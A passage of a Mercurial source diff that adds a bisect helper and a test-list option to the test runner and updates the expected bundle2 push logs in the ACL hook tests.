+                self._bisecttests(t for t, m in result.failures)
             self.stream.writeln(
                 '# Ran %d tests, %d skipped, %d failed.'
                 % (result.testsRun, skipped + ignored, failed))
@@ -2052,6 +2100,47 @@
 
         return result
 
+    def _bisecttests(self, tests):
+        bisectcmd = ['hg', 'bisect']
+        bisectrepo = self._runner.options.bisect_repo
+        if bisectrepo:
+            bisectcmd.extend(['-R', os.path.abspath(bisectrepo)])
+        def pread(args):
+            env = os.environ.copy()
+            env['HGPLAIN'] = '1'
+            p = subprocess.Popen(args, stderr=subprocess.STDOUT,
+                                 stdout=subprocess.PIPE, env=env)
+            data = p.stdout.read()
+            p.wait()
+            return data
+        for test in tests:
+            pread(bisectcmd + ['--reset']),
+            pread(bisectcmd + ['--bad', '.'])
+            pread(bisectcmd + ['--good', self._runner.options.known_good_rev])
+            # TODO: we probably need to forward more options
+            # that alter hg's behavior inside the tests.
+            opts = ''
+            withhg = self._runner.options.with_hg
+            if withhg:
+                opts += ' --with-hg=%s ' % shellquote(_strpath(withhg))
+            rtc = '%s %s %s %s' % (sys.executable, sys.argv[0], opts,
+                                   test)
+            data = pread(bisectcmd + ['--command', rtc])
+            m = re.search(
+                (br'\nThe first (?P<goodbad>bad|good) revision '
+                 br'is:\nchangeset: +\d+:(?P<node>[a-f0-9]+)\n.*\n'
+                 br'summary: +(?P<summary>[^\n]+)\n'),
+                data, (re.MULTILINE | re.DOTALL))
+            if m is None:
+                self.stream.writeln(
+                    'Failed to identify failure point for %s' % test)
+                continue
+            dat = m.groupdict()
+            verb = 'broken' if dat['goodbad'] == 'bad' else 'fixed'
+            self.stream.writeln(
+                '%s %s by %s (%s)' % (
+                    test, verb, dat['node'], dat['summary']))
+
     def printtimes(self, times):
         # iolock held by run
         self.stream.writeln('# Producing time report')
@@ -2108,7 +2197,8 @@
             # the skip message as a text node instead.
             t = doc.createElement('testcase')
             t.setAttribute('name', tc.name)
-            message = cdatasafe(message).decode('utf-8', 'replace')
+            binmessage = message.encode('utf-8')
+            message = cdatasafe(binmessage).decode('utf-8', 'replace')
             cd = doc.createCDATASection(message)
             skipelem = doc.createElement('skipped')
             skipelem.appendChild(cd)
@@ -2201,6 +2291,10 @@
             # positional arguments are paths to test files to run, so
             # we make sure they're all bytestrings
             args = [_bytespath(a) for a in args]
+            if options.test_list is not None:
+                for listfile in options.test_list:
+                    with open(listfile, 'rb') as f:
+                        args.extend(t for t in f.read().splitlines() if t)
             self.options = options
 
             self._checktools()
diff --git a/tests/test-acl.t b/tests/test-acl.t
--- a/tests/test-acl.t
+++ b/tests/test-acl.t
@@ -67,6 +67,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets 6675d58eff77
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -91,14 +92,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -113,17 +117,15 @@
   adding quux/file.py revisions
   added 3 changesets with 3 changes to 3 files
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -153,14 +155,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -177,17 +182,15 @@
   calling hook pretxnchangegroup.acl: hgext.acl.hook
   acl: changes have source "push" - skipping
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -218,14 +221,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -252,17 +258,15 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   acl: path access granted: "911600dab2ae"
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -293,14 +297,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -323,7 +330,8 @@
   acl: branch access granted: "ef1ea85a6374" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "fred" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
@@ -357,14 +365,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -391,7 +402,8 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" not allowed on "quux/file.py" (changeset "911600dab2ae")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "fred" not allowed on "quux/file.py" (changeset "911600dab2ae")
@@ -426,14 +438,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -456,7 +471,8 @@
   acl: branch access granted: "ef1ea85a6374" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "barney" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "barney" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
@@ -492,14 +508,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -526,7 +545,8 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" not allowed on "quux/file.py" (changeset "911600dab2ae")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "fred" not allowed on "quux/file.py" (changeset "911600dab2ae")
@@ -563,14 +583,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -595,7 +618,8 @@
   acl: branch access granted: "f9cafe1212c8" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
@@ -631,14 +655,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -661,7 +688,8 @@
   acl: branch access granted: "ef1ea85a6374" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "barney" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "barney" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
@@ -701,14 +729,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -735,17 +766,15 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   acl: path access granted: "911600dab2ae"
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -783,14 +812,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -817,7 +849,8 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "wilma" not allowed on "quux/file.py" (changeset "911600dab2ae")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "wilma" not allowed on "quux/file.py" (changeset "911600dab2ae")
@@ -860,14 +893,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -885,7 +921,8 @@
   acl: checking access for user "barney"
   error: pretxnchangegroup.acl hook raised an exception: [Errno *] * (glob)
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: No such file or directory: ../acl.config
@@ -932,14 +969,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -966,7 +1006,8 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "betty" not allowed on "quux/file.py" (changeset "911600dab2ae")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "betty" not allowed on "quux/file.py" (changeset "911600dab2ae")
@@ -1015,14 +1056,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1049,17 +1093,15 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   acl: path access granted: "911600dab2ae"
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -1100,14 +1142,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1134,17 +1179,15 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   acl: path access granted: "911600dab2ae"
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -1181,14 +1224,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-bundle: "HG20", 5 parts total
+  bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1213,7 +1259,8 @@
